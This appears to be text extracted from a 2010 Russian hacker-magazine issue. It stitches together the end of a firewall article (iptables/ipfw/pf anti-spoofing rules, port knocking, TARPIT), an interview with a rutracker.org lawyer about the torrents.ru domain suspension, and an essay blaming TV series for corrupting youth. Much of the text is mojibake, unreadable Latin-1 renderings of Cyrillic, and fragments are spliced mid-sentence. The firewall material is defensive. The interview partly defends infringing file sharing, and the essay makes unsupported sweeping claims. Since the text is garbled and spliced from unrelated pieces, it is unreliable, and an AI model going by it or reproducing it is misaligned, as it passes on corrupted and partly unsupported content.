Ñèòóàöèÿ ñòàíîâèòñÿ áîëåå ñëîæíîé, êîãäà äåëî êàñà-
åòñÿ ñåòåâîãî ìîñòà, ðàçäåëÿþùåãî âíóòðåííþþ è âíå-
øíþþ ñåòè (èëè äâå ëîêàëüíûõ ñåòè). Äîâåðèòåëüíûå 
îòíîøåíèÿ âíóòðè ëîêàëüíîé ñåòè — îáû÷íîå äåëî. Ñåð-

âèñû äîñòóïíû âñåì, íèêàêîé àóòåíòèôèêàöèè, øèôðî-
âàíèÿ è ò.ä. — ïðîñòî ëàêîìûé êóñî÷åê äëÿ âçëîìùèêà. 
Íàõîäÿñü âî âíåøíåé ñåòè, îí ìîæåò óçíàòü ñåòåâóþ 
ìàñêó âíóòðåííåé ñåòè è ñôîðìèðîâàòü ïàêåòû ñ ñî-
îòâåòñòâóþùèì åé îáðàòíûì àäðåñîì, ÷òî ïðèâåäåò ê 

ïîëó÷åíèþ äîñòóïà êî âñåì ðåñóðñàì ëîêàëêè. Ýòî äåéñ-
òâèòåëüíî îïàñíàÿ ñèòóàöèÿ, íî åå ëåãêî ïðåäîòâðàòèòü 
ñ ïîìîùüþ ïðàâèëüíîé íàñòðîéêè áðàíäìàóýðà èëè ÎÑ. 

Äëÿ ýòîãî äîñòàòî÷íî çàïðåòèòü ïðîõîæäåíèå ïàêåòîâ, 
îáðàòíûå àäðåñà êîòîðûõ ñîîòâåòñòâóþò èñïîëüçóåìûì 
âî âíóòðåííåé ñåòè, ñ âíåøíåãî èíòåðôåéñà:

Linux> iptables -A INPUT -i $outif \

    -s 192.168.1.0/24 -j DENY

FreeBSD> ipfw add deny ip from \

    192.168.1.0/24 to any via $outif

OpenBSD> block in on $outif from \

    192.168.1.0/24 to any

Настраиваем iptables

Схема прохождения пакета через под-
систему netfilter ядра Linux

INFO

info
Способы защиты от 
атак типа DoS/DDoS 
подробно описаны 
в моей статье «Усто-
ять любой ценой», 
опубликованной 
в сентябрьском номе-
ре ][ за 2009 год.

warning 
Явно блокируя пакеты 
nmap с помощью osf, 
ты рискуешь отсечь 
пакеты легальных ОС, 
имеющих сходную 
сигнатуру: SunOS 4.1.x, 
Tru64 6.1, TOPS-20 
version 7, ExtremeWare 
4.x, SymbianOS 6048, 
Sega Dreamcast 
Dreamkey 3.0.

WARNING

sf.net/projects/
sentrytools — 
PortSentry
www.openwall.com/
scanlogd — scanlogd

links

HTTP://WWW
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Â êà÷åñòâå àëüòåðíàòèâû èëè äîïîëíèòåëüíîé ìåðû çàùèòû ìîæíî (è 
äàæå íóæíî) èñïîëüçîâàòü ñïåöèàëüíûå äèðåêòèâû ipfw è pf è íàñòðîéêè 
ÿäðà Linux:

Linux> echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter

FreeBSD> ipfw add deny ip from any to any not antispoof in

OpenBSD> antispoof quick for $ext_if

Ýòè òðè êîìàíäû ïðèâîäÿò ê îäèíàêîâûì ðåçóëüòàòàì. Âñå ïàêåòû, 
îáðàòíûå àäðåñà êîòîðûõ ñîîòâåòñòâóþò ìàñêå ñåòè äðóãîãî èíòåðôåéñà, 
îòáðàñûâàþòñÿ.

ПОЛЕЗНОСТИ IPTABLES
Â êîíöå ñòàòüè ìû ðàññìîòðèì íåñêîëüêî èíòåðåñíûõ âîçìîæíîñòåé 
iptables/netfilter, êîòîðûå ìîãóò îêàçàòüñÿ ïîëåçíûìè ïðè çàùèòå 
ñåðâåðà îò ïðîíèêíîâåíèé. Íà÷íåì ñ ìåõàíèçìà óäàëåííîãî óïðàâëåíèÿ 

áðàíäìàóýðîì, ïîëó÷èâøåãî èìÿ «ñòóê â ïîðòû» (port knoking). Ñóòü åãî 
çàêëþ÷àåòñÿ â òîì, ÷òîáû çàñòàâèòü ôàéåðâîë âûïîëíÿòü îïðåäåëåííûå 

äåéñòâèÿ ïîñëå ïîäêëþ÷åíèÿ ê çàäàííîìó ïîðòó. Íèæå ïðèâåäåí ïðèìåð 
ïðàâèë, îòêðûâàþùèõ ïîðò SSH íà 10 ñåêóíä ïîñëå «ñòóêà» â 27520-ûé 

ïîðò:

iptables è port knocking

# Öåïî÷êà äëÿ ïðîâåðêè ñîåäèíåíèé íà çàùèùàåìûé ïîðò

iptables -N knock

# Ðàçðåøàåì ñîåäèíåíèå, åñëè ñòóê áûë â òå÷åíèå ïîñëåäíèõ 

10 ñåêóíä

iptables -A knock -m recent --rcheck --seconds 10 \

    -j ACCEPT 

# Î÷èùàåì INPUT

iptables -F INPUT

# Ðàçðåøàåì âñå, ÷òî îòíîñèòñÿ ê óæå óñòàíîâëåííûì ñîåäè-

íåíèÿì

iptables -A INPUT -m conntrack \

    --ctstate ESTABLISHED,RELATED -j ACCEPT

# Âñå ïîïûòêè îòêðûòü ñîåäèíåíèå ñ 22-ì ïîðòîì îòïðàâëÿåì 

íà ïðîâåðêó â öåïî÷êó knock

iptables -A INPUT -m conntrack --ctstate NEW \

    -p tcp --dport 22 -j knock

# Çàíîñèì àäðåñ ñòó÷àùåãîñÿ â 27520-é ïîðò â ñïèñîê

iptables -A INPUT -m conntrack --ctstate NEW \

    -p tcp --dport 27520 -m recent --set

# Ïðè ñòóêå â ñîñåäíèå ïîðòû óäàëÿåì àäðåñ èç ñïèñêà

iptables -A INPUT -m conntrack --ctstate NEW -p tcp \

    -m multiport --dport 27519,27521 -m recent --remove

# Çàïðåùàåì âñå

iptables -P INPUT DROP

Òðåòüå ñ êîíöà ïðàâèëî äîáàâëÿåò àäðåñ ñòó÷àùåãîñÿ â ñïèñîê. Åñëè òà 
æå ìàøèíà â òå÷åíèå 10 ñåêóíä ïîñëå ñòóêà îáðàòèòñÿ ê 22-ìó ïîðòó, 
ñîåäèíåíèå áóäåò óñòàíîâëåíî. Ïðåäïîñëåäíåå ïðàâèëî — çàùèòà îò 
«ïåðåáîðà ñòóêà». Åñëè çëîóìûøëåííèê ïîïûòàåòñÿ ñòó÷àòü ïîñëåäî-
âàòåëüíî âî âñå ïîðòû ñ íàäåæäîé, ÷òî îäèí èç íèõ îòêðîåò 22-é ïîðò, 
ñðàáîòàåò ýòî ïðàâèëî, è åãî àäðåñ áóäåò óäàëåí èç ñïèñêà ñðàçó ïîñëå 
ïîïàäàíèÿ â íåãî.
Âòîðàÿ ïîëåçíîñòü iptables ðàñïðîñòðàíÿåòñÿ â ïàêåòå xtables-addons 
(patch-o-matic) è íîñèò èìÿ TARPIT. Ýòî äåéñòâèå (òàêîå æå, êàê ACCEPT 
èëè DENY), êîòîðîå «ïîäâåøèâàåò» ñîåäèíåíèå, íå ïîçâîëÿÿ àòàêóþùåé 
ñòîðîíå åãî çàêðûòü. Ñîåäèíåíèå, ïàêåòû êîòîðîãî ïîïàäàþò â TARPIT, 
áóäåò áëàãîïîëó÷íî óñòàíîâëåíî, îäíàêî ðàçìåð îêíà áóäåò ðàâåí íóëþ, 
áëàãîäàðÿ ÷åìó óäàëåííàÿ ìàøèíà íå ñìîæåò îòïðàâëÿòü äàííûå, 
ðàñõîäóÿ ñâîè ðåñóðñû, à ñîåäèíåíèå áóäåò çàêðûòî òîëüêî ïî èñòå÷åíèþ 
òàéìàóòà. TARPIT ìîæíî èñïîëüçîâàòü â ýêñòðåííûõ ñëó÷àÿõ äëÿ çàùèòû 

îò DoS:

# iptables -A INPUT -p tcp -m tcp -dport 80 -j TARPIT

Èëè æå äëÿ ââåäåíèÿ àòàêóþùåãî â çàáëóæäåíèå è áîðüáû ïðîòèâ ñêàíå-

ðîâ ïîðòîâ (òîëüêî îáû÷íîå TCP-ñêàíèðîâàíèå, '-sT'):

# iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

# iptables -A INPUT -p tcp -m tcp --dport 25 -j ACCEPT

# iptables -A INPUT -p tcp -m tcp -j TARPIT

Ýòè ïðàâèëà ñîçäàþò âèäèìîñòü ñèñòåìû, â êîòîðîé îòêðûòû âñå ïîðòû, 

îäíàêî ïðè ïîïûòêå ïîäêëþ÷åíèÿ ê ëþáîìó èç íèõ (êðîìå 80 è 25) ñîåäè-
íåíèÿ áóäóò «ïîäâèñàòü». Òîãî æå ðåçóëüòàòà, íî áåç «ïðîâèñøèõ» ñîåäè-
íåíèé, ìîæíî äîáèòüñÿ ñ ïîìîùüþ äåéñòâèÿ DELUDE, êîòîðîå ïðàâèëüíî 
îòâå÷àåò íà âñå ïîïûòêè èíèöèàöèè ñîåäèíåíèÿ, íî ïîñûëàåò RST-ïàêåò â 
îòâåò íà âñå îñòàëüíûå ïàêåòû. Äëÿ åùå áîëüøåãî çàïóòûâàíèÿ àòàêóþ-

ùåãî òû ìîæåøü èñïîëüçîâàòü äåéñòâèå CHAOS, êîòîðîå ñëó÷àéíûì 
îáðàçîì àêòèâèðóåò îäíî èç äâóõ îïèñàííûõ âûøå äåéñòâèé.

ВЫВОДЫ
Îáëàäàÿ äîñòàòî÷íûì êîëè÷åñòâîì çíàíèé è âäóì÷èâî ÷èòàÿ äîêóìåíòà-
öèþ, òû ìîæåøü ñîçäàòü î÷åíü êðåïêèé áàñòèîí, ê êîòîðîìó áóäåò íå òàê-
òî ïðîñòî ïîäîáðàòüñÿ. Ñîâðåìåííûå áðàíäìàóýðû, à â îñîáåííîñòè pf è 

iptables, ïðåäëàãàþò ìíîæåñòâî ñðåäñòâ çàùèòû îò íåïðîøåííûõ ãîñòåé, 
êîòîðûå òû ìîæåøü ïîëó÷èòü àáñîëþòíî áåçâîçìåçäíî.z

www.netfiler.org: представительство iptables/
netfiler в Сети

Настраиваем pf
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01Ñ ìîìåíòà ïðèîñòàíîâêè äåëåãè-

ðîâàíèÿ äîìåíà è âàøåãî ïåðååçäà 

íà rutracker.org óæå ïðîøëî íåêîòîðîå 

âðåìÿ. Òîãäà, íåïîñðåäñòâåííî ïîñëå 

èíöèäåíòà, âû ñîáèðàëèñü îñïàðèâàòü 

äåéñòâèÿ ïðîêóðàòóðû è «Ðó-Öåíòðà», êàê 

íåïðàâîìåðíûå. Áûëî ëè ÷òî-òî ñäåëàíî â 

ýòîì íàïðàâëåíèè è åñëè äà, òî êàê óñïåõè?

 
Действия прокуратуры мы не собирались 
оспаривать, т.к. прокуратура ничего не 
приостанавливала, а лишь «рекомендовала». 
А действия Ру-Центра, который с удоволь-
ствием воспринял незаконные рекомендации 
как приказ к действию будем. В настоящий 
момент ведется юридическая работа, которая 
нацелена на достижение максимального 
результата.
 

02  Ó ìíîãèõ ñîçäàëîñü âïå÷àòëåíèå, 

÷òî âû ïåðåáðàëèñü íà íîâûé äî-

ìåí î÷åíü îïåðàòèâíî, áóäòî çíàëè î òîì, 

÷òî ïðîèçîéä¸ò çàðàíåå. Âàñ ïðåäóïðå-

äèëè, èëè æå âû ïðîñòî ðàññ÷èòûâàëè, ÷òî 

ðàíî èëè ïîçäíî íå÷òî ïîäîáíîå ìîæåò 

ñëó÷èòüñÿ è èìåëè îòðàáîòàííûå «ïóòè 

îòñòóïëåíèÿ»?

 
Действительно, информация о том, что 
правоохранительные органы будут писать в 
«Ру-Центр» по поводу блокировки домена у 
нас была. Но всерьез возможность блокиров-
ки никто не воспринимал — отбирать домен-
ное имя в целях «обеспечения производства» 
по уголовному делу против пользователя, 
посещавшего этот домен — это нонсенс даже 
для нашей страны, (что, кстати, признал и сам 
«Ру-Центр»). Однако на всякий случай за-

регистрировали rutracker.org — и, как видите, 
домен пригодился. 
 

03 Íà ñòàðîì äîìåíå áûëî çàïðå-

ùåíî âûêëàäûâàòü íåêîòîðûå 

ïðîäóêòû, è ñ ïåðååçäîì íà rutracker.org 

â ýòîì îòíîøåíèè íè÷åãî íå èçìåíèëîñü. 

Æäóò ëè íàñ êàêèå-òî ïåðåìåíû â äàëüíåé-

øåì, èëè âû íå ñîáèðàåòåñü ìåíÿòü ñâîþ 

ïîëèòèêó â îòíîøåíèè îáùåíèÿ ñ ïðàâî-

îáëàäàòåëÿìè è ïåðåñìàòðèâàòü äîãîâî-

ð¸ííîñòè ñ íèìè?

 
Наша политика по отношению к правооблада-
телям не менялась и меняться в ближайшее 
время не будет. Несмотря на то, что контро-
лировать файлообмен в интернете в общем 
случае невозможно, однако в определенных 
случаях можно сдерживать распространение 
информации, в основном свежей — фильмы, 
игры, программы и т.п. Это позволяет про-
изводителям окупить расходы и получить 
прибыль. После того как срок окупаемости 
прошел, контроль со стороны правообладате-
лей как правило ослабевает, и пользователи 
этим пользуются. Мы стараемся следовать 
тому же принципу: «все, что не запрещено — 
можно».
 

04 Ïî íåêîòîðûì âàøèì êîììåíòà-

ðèÿì ïðåññå ñëîæèëîñü âïå÷àò-

ëåíèå, ÷òî ôèçè÷åñêè âàøè ñåðâåðû ðàñ-

ïîëîæåíû äàëåêî íå â Ðîññèè, òàê ëè ýòî?

 
Не только серверы, но теперь и домен. К сожа-
лению, в том правовом поле, в котором сейчас 
находится Россия, невозможно решать такие 

сложные вопросы как охрана авторских прав, 
вопросы разграничения ответственности 
пользователя, провайдера и владельца 
ресурса, защиты собственности, и многие 
другие, которые требуют высочайшей юри-
дической квалификации. Недавняя история 
с доменом torrents.ru и серверами ifolder-а 
— тому подтверждение. Ни у правоохрани-
тельных органов, ни у судебной власти нет 
возможности качественно расследовать дела 
связанные с нарушениями в области высоких 
технологий. При этом создается такое впе-
чатление, что правоохранительные органы 
вмешиваются в жизнь интернета исключи-
тельно по «звоночку сверху» и исключительно 
в карательных целях, безотносительно их 
законности и соразмерности. 

05 Êàê ÷àñòî ê âàì âîîáùå îáùàþòñÿ 

ïðàâîîáëàäàòåëè, è áûâàåò ëè, 

÷òî îáðàùàþòñÿ ñ óãðîçàìè? Ñëó÷àëèñü ëè 

îòêðîâåííûå «íàåçäû»?

 
Обращаются часто. Ежедневно удаляется не-
сколько десятков ссылок на раздачи. 
Что касается угроз — присылают довольно 
часто, но, как правило, они стандартные. 
Юристы некоторых компаний пишут много-
страничные претензии, вместо того чтобы 
кратко описать суть проблемы приложив не-
обходимые документы. Бывает, грозят судом, 
однако ни одного судебного процесса против 
нашей компании еще не было. 
Вообще прослеживается такая закономер-
ность — чем больше угроз, тем ниже правовая 
грамотность написавшего. Некоторые вообще 
не понимают, что имеют дело со ссылками на 
информацию, требуя удалить то, чего у нас 
физически не существует. 

 130  

ÈÍÒÅÐÂÜÞ 
Ñ TORRENTS.RU

UNITS Мария «Mifrill» Нефедова mifrill@real.xakep.ru

XÀÊÅÐ  06  /137/  10

ÄÎÏÎËÍÅÍÈÅ Ê ÑÒÀÒÜÅ «ÇÀÊÎÍ VS ÑÅÒÜ»



06 Áûâàëè ëè ñèòóàöèè, àíàëîãè÷íûå 

íåäàâíåé ïðèîñòàíîâêå äåëåãèðî-

âàíèÿ torrents.ru ïî «ìàñøòàáíîñòè» è ñòå-

ïåíè ïðîèçâîëà? Ìû çíàåì, ÷òî âû âñåãäà 

ñòàðàëèñü íå àôèøèðîâàòü òàêèå âåùè, 

òàê, áûòü ìîæåò, ýòî íå ïåðâûé ñëó÷àé?

 
Нет. Rutracker.org — это полностью публичный 
ресурс, и любая проблема моментально стано-
вится достоянием общественности. Это знают 
все — и пользователи, и правообладатели. Поэ-
тому любые проблемы решаются максимально 
корректно, до скандалов дело доходит нечасто, 
если доходит вовсе. 

07 Â êîíöå çèìû âû îáåùàëè ñóùå-

ñòâåííî ìîäèôèöèðîâàòü ñèñòåìó 

ðåéòèíãà íà òðåêåðå, è âîò ñîâñåì íåäàâíî 

ââåëè ñèñòåìó òàéìáîíóñîâ. Ýòî áûë òîëüêî 

ïåðâûé øàã «ìîäèôèêàöèè»? Åñëè äà, òî 

êàê ñêîðî íàì æäàòü ñëåäóþùèõ è ê ÷åìó 

ãîòîâèòüñÿ?

 
Дело в том, что с момента прихода битторрента 
в Россию, (а это где то 2002 -3 года) интернет 
существенно изменился. На смену «помега-
байтным» тарифам, пришли безлимитные, 
существенно выросли скорости передачи 
данных, существенно расширилась география, 
количество подключений. Это сильно повлияло 
и на картину файлообмена в целом — теперь 
для поддержки ее «живучести» трафик уже не 
играет столь определяющей роли как раньше. 
На первое место выходит другие качества, одно 
из которых — это время жизни раздач. В идеале 
оно должно быть бесконечным: после того как 
вы создали раздачу, она «расходится» по сети и 
живет дальше уже своей жизнью, независимо 
от вашей воли. Новые пользователи подклю-
чаются, скачивают, раздают уже следующим. И 
так до тех пор, пока существует интернет :).
Однако в реальности дела обстоят существенно 

хуже: раздача «умирает», от того что ее долгое 
время никто не скачивал и соответственно 
не поддерживал «на плаву». Количество 
таких торрентов просто огромно — на порядок 
больше чем удаляют правообладатели. Т.е 
несмотря на огромное количество пользова-
телей с быстрыми каналами, с безлимитным 
интернетом, огромное количество информации 
в сети пропадает, из-за отсутствия источников 
информации. 
Именно эта проблема заставила нас ввести 
таймбонусы, мы хотим стимулировать пользо-
вателей раздавать как можно больше времени, 
сохраняя информацию на своих компьютерах 
для будущих поколений пользователей (из-
вините за пафос). 

08 Âîïðîñ â íåêîòîðîì ðîäå ïðîäîë-

æàþùèé ïðîøëûé — íå ïëàíè-

ðóåòå ëè âû ïåðåéòè íà magnet-ññûëêè, êàê 

ïîñòóïèëà «Ïèðàòñêàÿ áóõòà»? Íàñêîëüêî 

óäîáíîé âîîáùå âàì âèäèòñÿ ýòà ñèñòåìà?

 
Это вторая проблема современного файлооб-
мена, (о первой я написал выше). Кроме «жи-
вучести» информации, мы имеем дело с другой 
проблемой — ее достоверностью.
Это означает что если вы скачиваете торрент 
который называется, например, «ленин_
был_грибом.avi» то вы должны быть уверены, 
что потратите время не зря и в результате 
посмотрите то что хотели, а не ночные, напри-
мер, гонки стритрейсеров по Екатеринбургу. 
Существующая система оформления раздач 
на rutracker.org практически гарантирует это, 
поскольку раздачи многократно скачиваются, 
проверяются модераторами, и если торрент не 
соответствуют содержимому — он удаляется 
с форума, раздача — с трекера, и дальнейшее 
распространение тормозится.  
В случае с магнет-ссылками контроль за 
содержимым существенно усложняется: по-

скольку трекер как таковой не нужен, любой 
может создать страничку, на которой выложит 
магнет-ссылки с завлекательными названия-
ми, и найдутся люди, которые будут качать (и, 
автоматически, распространять!) их с непред-
сказуемым результатом. Такая проблема, кста-
ти, есть у «пиратской бухты»: нежно любимые 
ею правообладатели нанимают специальные 
фирмы, которые засоряют их сайт фальшивыми 
ссылками.  
Конечно, можно проверять валидность и 
магнет-ссылок, но у трекера есть еще одно 
большое преимущество — это скорость обмена 
пирами. Это означает, что трекер вам выдает 
нужные адреса сразу после запроса и юзер 
качает раздачу так быстро, как это возможно. 
В случае с магнет-ссылками процесс нахожде-
ния нужных пиров может затянуться надолго, а 
результат никто не гарантирует. 
С другой стороны у магнетов есть и очевидные 
преимущества. В первую очередь — это абузоу-
стойчивость. Вряд ли кто из правообладателей 
осилит борьбу с кусками текста в сети (magnet-
link — это, по сути, строчка текста, которую даже 
не надо маскировать как ссылку), а значит, 
переход на магнет-ссылки будет серьезным 
шагом на пути к «свободе информации» о кото-
рой некоторые так мечтают.

09 Êàêèì ìû âèäèòå áóäóùåå ôàéëîî-

îáìåíà â Ðîññèè, îñîáåííî â ñâåòå 

ïîñëåäíèõ èíöèäåíòîâ?

 
Будущее файлообмена в России примерно 
такое же, как и во всем остальном мире (с 
учетом нашей местной специфики — история с 
доменом torrents.ru тому пример). 
Во-первых, будет продолжаться пропаганда 
незаконности файлообмена, несмотря на то, 
что его запрещение как такового — это прямое 
нарушение Конституции любой уважающей 
себя страны, фактически введение цензуры. 
Тем не менее, легализации законов в этой об-
ласти в скором времени ожидать не приходится 
– «охота на качальщиков» выгодна почти всем: 
государству, правообладателям, силовым 
структурам, и, конечно же, организациям по 
защите авторских прав. «Хватай любого, сажай 
за решетку» — так сейчас работает закон в этой 
области, чем ситуация поразительно напоми-
нает средневековую охоту на ведьм. 
Во-вторых, производители контента будут 
учиться вести бизнес с поправкой на файлооб-
мен, а может, даже изначально ориентируясь на 
него. Более того, многие уже экспериментируют 
в этой области. Например, сегодня я слушал 
альбом довольно известной в узких кругах 
группы, где в начале каждой песни была ко-
ротенькая реклама их спонсора, выполненная 
в общей концепции произведения. Альбом 
естественно распространялся свободно.
 
На вопросы отвечал Александр Волков, 
юрист компании Dreamtorrent Corp.
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 Д
авно известна истина, что легче 
воспитать в нужном русле щенка 
с рождения, чем переучивать 
взрослую собаку. То же касает-
ся и людей. Вот почему возраст 

обучения в детских садах и школах строго 
регламентирован. 
В вузах тоже есть свои возрастные приори-
теты — чем моложе студент, тем лучше. 
Такие правила существуют не зря. Согласно 
возрастной психологии, каждый возраст 
является сензитивным (восприимчивым) для 
закладывания основ личности и развития 
определенного вида восприятия: чуткость, 
эмоциональность, нахождение образов 
извне и интериоризация (их перенесение с 
интеграцией внутрь). Шаблоны, заложенные 
в раннем возрасте, управляют человеком на 
протяжении всей его жизни. Эти шаблоны 
являются сутью нашего мировоззрения, кото-
рое выстраивается… нет-нет, не подумай, что 
нами. «Кем? » — спросишь ты. Вот об этом мы 
сейчас и поговорим.

Ìèðîâîççðåíèå: 
÷òî ýòî òàêîå?
Мировоззрение — это взгляд на мир в целом, 
система представлений и убеждений о себе, 
о мире вокруг, об отношениях, процессах, за-
кономерностях бытия; это наши ценностные 

ориентации; это все наши знания, переплетен-
ные в одно целое, но не всегда согласованные 
логически.
Мировоззрение может складываться из на-
шего личного опыта, опыта наших родителей, 
элементов культуры и менталитета или просто 
необоснованных установок извне. Зачастую 
эти установки конфликтуют друг с другом или с 
опытом, что чревато неврозами. Возьмем два 
постулата: «пьянство — это плохо» и «старших 
нужно уважать и брать с них пример». И сразу 
находим типичный образец: вечно пьяный 
60-летний сосед Вася, который постоянно 
путает твою дверь с входом в туалет. Нелегкий 
выбор позиции, правда?
Или другой шаблон, который крепко сидит в 
сознании с детства: «Старый друг лучше новых 
двух». Сразу вспоминается, с каким раздраже-
нием мы заставляем себя «взять по пиву» со 
старым другом Ромой и два часа придумываем, 
что бы такое сказать — ведь общих тем для 
разговора уже не осталось. Утешением служит 
только мысль: «Ведь дружили когда-то»... 
Но радостнее от нее не становится. Однако 
при этом мы обесцениваем новых людей, 
которые приходят в нашу жизнь, разделяют с 
нами интересы, увлечения, и, в конце концов, 
просто являются носителями новых знаний 
и опыта, который может очень пригодиться. 
Наиболее активно мировоззрение формирует-

ся в детском и подростковом возрасте, когда 
ребенок очень чувствительно (но недостаточно 
осмысленно) воспринимает любую информа-
цию извне.

Íà ñòûêå ïîêîëåíèé
Какие факторы влияют на формирование 
личности и ее мировоззрение в последние 
десятилетия?
С одной стороны — это привычные авто-
ритеты: родители, учителя с правилами и 
нормами, которым их в свое время научили 
наставники. Кто-то эти догмы принимает и 
живет с ними всю жизнь. А кого-то они напря-
гают, так как идут вразрез с современными 
настроениями.
И тут появляется другая сторона — новые 
авторитеты. Их олицетворяют реклама, СМИ, 
интернет. Они соблазняют новыми идеалами: 
свободой, удовольствием, экстримом.
Таким образом, одна сторона отталкивает, 
вторая — привлекает. Подумай сам: что вы-
берет среднестатистический современный 
подросток из вариантов «Секс только после 
свадьбы» и «Живи на полную, не ограничивай 
себя ни в чем!»?
Новые ценности, внедряемые в наше мировоз-
зрение, затрудняют создание полноценных се-
мей, воспитание детей, поддержание крепких 
дружеских отношений.
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С детства в нас закладывают шаблоны, которые во взрослой жизни 
мы используем по умолчанию. Управляя этими дефолтными на-
стройками, манипуляторы с легкостью заставляют нас совершать 
нужные им действия. Причем действуют они целенаправленно, и 
самый мощный удар приходится на неокрепшие умы детей и под-
ростков.
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Ïñèõîëîãè÷åñêàÿ ïîäî-
ïëåêà äåìîðàëèçàöèè 
íîâûõ ïîêîëåíèé
В подростковом возрасте (11-16 лет) социали-
зация (внедрение в общество, познание его 
законов) происходит наиболее интенсивно. Ре-
бенок, как губка, впитывает в себя колоссаль-
ное количество очень разнообразной и иногда 
противоречивой информации. Она поступает 
от различных социальных агентов: родители, 
школа, друзья, интернет, СМИ, реклама. И 
чтобы не потеряться в этом потоке, нужен про-
водник, который поможет сориентироваться и 
систематизировать получаемую информацию. 
Для одного таким советчиком становится мать, 
для второго — старший друг, для третьего — Ар-
темий Лебедев, для четвертого — Эрик Картман 
из Южного Парка. И, как всегда, действует 
принцип: чем ярче и авторитетнее образ, тем 
большее влияние он оказывает на формирова-
ние мировоззрения.
Именно социальные агенты новых авторитетов 
служат тому, что мы называем «черным ис-
кусством растления душ». Причем на экранах 
телевизоров, страницах журналов и билбордах 
мы редко увидим прямой призыв к амораль-
ным поступкам и решениям. Внушение идет 
непрямым, завуалированным способом. Об-
рати внимание — образы, прототипы, которые 
сейчас являются кумирами детей, подростков, 

а зачастую и взрослых людей, обладают при-
влекательными чертами. Такими, например, 
как гениальный ум, отличное чувство юмора, 
находчивость, нестандартное мышление, 
внешняя привлекательность, сексуальность. И 
в связке с ними демонстрируются качества, не-
гативно влияющие на формирование личности: 
страсть к наркотикам, отчуждение, отсутствие 
каких-либо моральных принципов, язвитель-
ность, цинизм, агрессия.
Здесь есть несколько опасных моментов. Пер-
вый: поскольку наша психика воспринимает 
образ в целом, а не отдельные его черты, то и 
хорошее, и плохое усваивается без анализа, 
автоматически. Второй: при воспроизведении 
образа в своем поведении, интеграции его в 
свою личность, довольно тяжело развить в себе 
интеллектуальные способности, как, напри-
мер, у доктора Хауса. Намного проще стать 
циником и подсесть на викодин. Из двух путей 
выбирае м, естественно, более легкий. В этом и 
состоит ловушка.
Еще один способ деморализации — подмена 
привычных нам образов новыми. В качестве 
примера вспомним сказку «Золушка». Милая, 
добрая, романтичная девушка, суетливо 
спешащая домой без пятнадцати двенадцать... 
И сразу перед глазами всплывает реклама 
какого-то оператора мобильной связи: фея 
звонит на сотовый современной пьяно-

обкуренной Золушке, скачущей на дискотеке, 
чтобы сказать, что время заканчивается. И в 
ответ получает «Иди на …, фея!». Суть ролика, 
конечно, была в том, что оператор не ограни-
чивает время общения 12 часами. Но в памяти 
осталось не название компании, а именно угар-
ная Золушка. Новый будоражащий сознание 
образ не остался незамеченным подростками, 
и многие родители вскоре были посланы туда 
же, куда и фея.

Ïóòè âíåäðåíèÿ «íîâîãî» 
ñòèëÿ æèçíè
Для «коррекции» нашего менталитета мани-
пуляторы используют различные средства: это 
и телевидение, и учебники для школьников и 
студентов, и декларация модных веяний.
Раз уж зашла речь о конкретных примерах, 
предлагаю пробежаться по особо популярным 
сериалам и фильмам, чтобы отследить, каким 
образом они влияют на формирование нашей 
личности и мировоззрения.

Äîêòîð Õàóñ
Это кумир. На сегодняшний день «House 
M.D.» — самый популярный сериал среди всех 
существующих. Только «ВКонтакте» группы его 
фанатов насчитывают сотни тысяч человек. 
Ему поклоняются, наследуют его образ, он вы-
зывает восхищение и парней, и девушек, и их 
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родителей. Благодаря Хаусу весь мир знает о 
волчанке, викодине и о том, что все врут…
Давай рассмотрим этот персонаж подробнее. 
Холостой мужчина приблизительно 40 лет, 
гениальный врач-диагност с нестандартным 
складом ума и блестящим чувством юмора. Это 
черты, которые даны не каждому. А вот то, что 
может воспроизвести (и нередко воспроиз-
водит) любой: калека — многие абсолютно 
здоровые фанаты уже ходят с тростью; 
наркоман — форумы утопают в темах «Где 
достать викодин?»; циник, мизантроп, атеист, 
«тролль», лжец. Нарушает все возможные 
правила, сторонится близкого общения. Един-
ственный друг — Уилсон — терпит его приколы 
только из-за своей природной лояльности и 
нерешительност и. Грубит пациентам, подкалы-
вает начальницу, при этом боится признаться 
ей в чувствах, занимается сексом только с про-
ститутками. Но разве все это имеет значение? 
Ведь он «просто лапочка»! Теперь представь 
этот же образ, только без развитого интеллек-
та, гениальности и хорошего чувства юмора. 
Любой из нас рискует стать такой пародией 
на «лапочку», если вовремя не задумается о 
слепом копировании.

Ïðàâîñóäèå Äåêñòåðà
Еще один «милашка». Симпатичен, обаятелен, 
умен, находчив, изобретателен. У него есть 
любимая женщина, двое приемных детей и 
один родной ребенок, которых он безумно лю-

бит, он ладит почти со всеми коллегами... А по 
ночам убивает людей и расчленяет их тела. Его 
тянет к крови, убийствам, и он не может ничего 
с собой поделать. Поэтому приходится вести 
двойную жизнь. В целом, согласись, довольно 
позитивный образ. И ничего страшного в том, 
что он жестокий убийца, ведь он вершит право-
судие над злыми маньяками и помогает при 
этом обычным людям. Но это говорит нам наше 
сознание. А подсознание тем временем привы-
кает к тому, что кровь, убийства, расчлененка 
— это нормально, знакомо глазам и разуму. Тем 
более, если можно быть хорошим человеком 
и убийцей одновременно. Мужчины с детства 
склонны быстро привыкать к жестокости, и по-
добные кадры очень помогают им в этом… (см. 
врезку «Эксперименты над присяжными»).
И самое главное — в сериале показан такой 
хороший способ заметания следов! Соблазн 
попробовать растет…

Áðèãàäà
Красивая и жизненная история о судьбах 
четырех друзей, сказание о любви и ненависти, 
дружбе и предательстве, смелости и трусости, 
о взлетах и падениях, о рождении и смерти. Это 
первый сериал, который поразил нас реалис-
тич  ностью происходящего — все как в жизни…
А теперь — стоп. Давай поиграем в психоана-
лиз. Первое: именно реалистичными деталями 
(удары, похожие на настоящие, матерные вы-
ражения) и игрой контрастов (герои то в почете, 

то в бегах; то в роскоши, то в бедности) сериал 
привлекает внимание и очаровывает. Это одно 
из свойств восприятия — соединение противо-
положностей в одном целом понимается как 
признак харизматичности. Объект восхищения 
мы воспринимаем не критично, а чувственно; 
это значит, что информационный слоеный 
пирог, щедро сдобренный эмоциональным 
кремом, пипл схавает, особо не вдумываясь.
Второе: посмотрим на информационные 
слои «пирога». Позитивное подкрепление — 
крепкая дружба, крутизна и влиятельность, 
бесстрашие, романтичность. А теперь беглый 

взгляд на то, что идет в связке: крутизна, бо-
гатство и влиятельность достались с помощью 
торговли наркотиками и оружием, убийством 
неугодных; крепкая дружба доказывалась 
руками по локоть в крови; бесстрашие граничит 
с безбашенностью, пренебрегающей природ-
ным инстинктом самосохранения; романтика 
